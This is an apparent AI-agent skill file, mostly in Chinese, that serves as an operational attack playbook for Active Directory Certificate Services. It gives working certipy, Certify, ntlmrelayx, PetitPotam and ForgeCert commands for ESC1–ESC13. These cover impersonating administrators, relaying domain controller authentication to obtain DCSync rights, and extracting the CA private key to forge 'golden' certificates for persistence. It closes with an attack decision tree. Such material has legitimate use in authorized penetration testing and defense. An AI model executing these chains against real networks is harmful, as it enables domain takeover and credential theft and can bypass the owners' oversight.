active-directory-certificate-services

技能：AD CS 攻击手册 — 专家指南

AI 加载说明：AD CS（Active Directory Certificate Services）专家级攻击技术。涵盖 ESC1 至 ESC13、基于证书的持久化、对注册端点的 NTLM 中继，以及 CA 配置错误。基础模型容易遗漏注册前置条件链和 ESC 条件组合。

0. 相关路由

深入分析之前，可考虑加载：

• active-directory-acl-abuse，用于可实现 ESC4（模板修改）的基于 ACL 的攻击
• active-directory-kerberos-attacks，用于获取证书后的 Kerberos 技术
• ntlm-relay-coercion，用于 ESC8（中继到 HTTP 注册端点）
• windows-lateral-movement，用于使用已获取的证书进行横向移动

高级参考

需要以下内容时，也请加载 ADCS_ESC_MATRIX.md：

• ESC1–ESC13 快速参考表，包含条件、影响和工具命令
• 各 ESC 变体的单行利用命令
• 各技术的检测指标

---

1. AD CS 架构概述

Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│   ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│   ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│   └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│   ├── Subject Alternative Name (SAN): who the cert represents
│   ├── Extended Key Usage (EKU): what the cert allows
│   ├── Enrollment permissions: who can request
│   └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
    User presents cert → PKINIT → KDC verifies → issues TGT

---

2. 枚举

# Certipy (recommended — comprehensive)
certipy find -u [email protected] -p password -dc-ip DC_IP -stdout
certipy find -u [email protected] -p password -dc-ip DC_IP -vulnerable -stdout

# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas                    # Enumerate CAs

# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "[email protected]" -w password \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
  "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage

---

3. ESC1 — 注册者提供主体名称

条件：模板允许注册者指定主题备用名称（SAN）+ 客户端身份验证 EKU + 低权限注册。

# Certipy
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn [email protected]

# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator

---

4. ESC2 — 任意用途 EKU

条件：模板具有“任意用途”EKU，或没有 EKU（从属 CA 证书）+ 低权限注册。

# Same as ESC1 exploitation
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template AnyPurposeTemplate -upn [email protected]

---

5. ESC3 — 注册代理

条件：模板允许申请注册代理证书 + 另一模板允许代表他人注册。

# Step 1: Request enrollment agent cert
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template EnrollmentAgent

# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

---

6. ESC4 — 模板 ACL 配置错误

条件：低权限用户对证书模板对象具有写入权限。

# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u [email protected] -p password -template VulnTemplate \
  -save-old -dc-ip DC_IP

# Template is now ESC1 → exploit as ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn [email protected]

# Restore original template (cleanup)
certipy template -u [email protected] -p password -template VulnTemplate \
  -configuration old_config.json -dc-ip DC_IP

---

7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

条件：CA 启用了 EDITF_ATTRIBUTESUBJECTALTNAME2 标志 → 任意模板都会成为 ESC1。

# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags

# Exploit: request any template with SAN
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template User -upn [email protected]

---

8. ESC7 — CA 操作员／管理权限

条件：用户在 CA 上具有 ManageCA 或 ManageCertificates 权限。

# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
  -enable-template SubCA

# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template SubCA -upn [email protected]

# With ManageCertificates: approve the pending request
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
  -issue-request REQUEST_ID

# Retrieve the issued certificate
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -retrieve REQUEST_ID

---

9. ESC8 — 向 HTTP 注册服务进行 NTLM 中继

条件：CA 具有 HTTP 注册端点（certsrv），且未强制使用 HTTPS。

# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com

# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync

---

10. ESC9–ESC13 — 新近发现的攻击

ESC9：无安全扩展（StrongCertificateBindingEnforcement = 0/1）

设置 CT_FLAG_NO_SECURITY_EXTENSION 时，较弱的证书映射允许冒充他人。

# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u [email protected] -p pass -account victim -dc-ip DC_IP

ESC10：弱证书映射（基于注册表）

与 ESC9 类似，但利用 DC 上的 CertificateMappingMethods 注册表值。

ESC11：向 RPC 注册服务进行 NTLM 中继

将 NTLM 中继到 CA 的 RPC 接口（未设置 IF_ENFORCEENCRYPTICERTREQUEST）。

ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
  -smb2support --adcs --template DomainController

ESC13：OID 组链接（颁发策略）

模板的颁发策略 OID 与某个组关联 → 证书授予该组成员身份。

certipy req -u [email protected] -p pass -ca CA-NAME -target CA_HOST \
  -template ESC13Template
# Certificate grants membership in linked group

---

11. 基于证书的持久化

黄金证书

拥有 CA 私钥后 → 可伪造任意证书。

# Extract CA private key (requires admin on CA server)
certipy ca -backup -u [email protected] -p password -ca CA-NAME -target CA_HOST

# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn [email protected] -subject "CN=Administrator,CN=Users,DC=domain,DC=com"

# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP

持久化：有效期持续至 CA 证书过期或 CA 私钥轮换。

ForgeCert（Windows）

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
  --SubjectAltName "[email protected]" --NewCertPath forged.pfx --NewCertPassword "pass"

---

12. AD CS 攻击决策树

Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│   ├── Enrollee can set SAN + Client Auth EKU?
│   │   └── ESC1 → request cert with admin UPN (§3)
│   ├── Any Purpose EKU?
│   │   └── ESC2 → same as ESC1 (§4)
│   ├── Enrollment Agent template available?
│   │   └── ESC3 → enroll as agent, then on-behalf-of (§5)
│   └── OID group link in issuance policy?
│       └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│   └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│   ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│   │   └── ESC6 → any template becomes ESC1 (§7)
│   ├── ManageCA / ManageCertificates permission?
│   │   └── ESC7 → enable SubCA template, approve requests (§8)
│   └── HTTP enrollment without HTTPS?
│       └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│   ├── StrongCertificateBindingEnforcement < 2?
│   │   └── ESC9 → UPN manipulation + cert request (§10)
│   └── CertificateMappingMethods misconfigured?
│       └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│   └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
    └── Golden certificate for persistence (§11)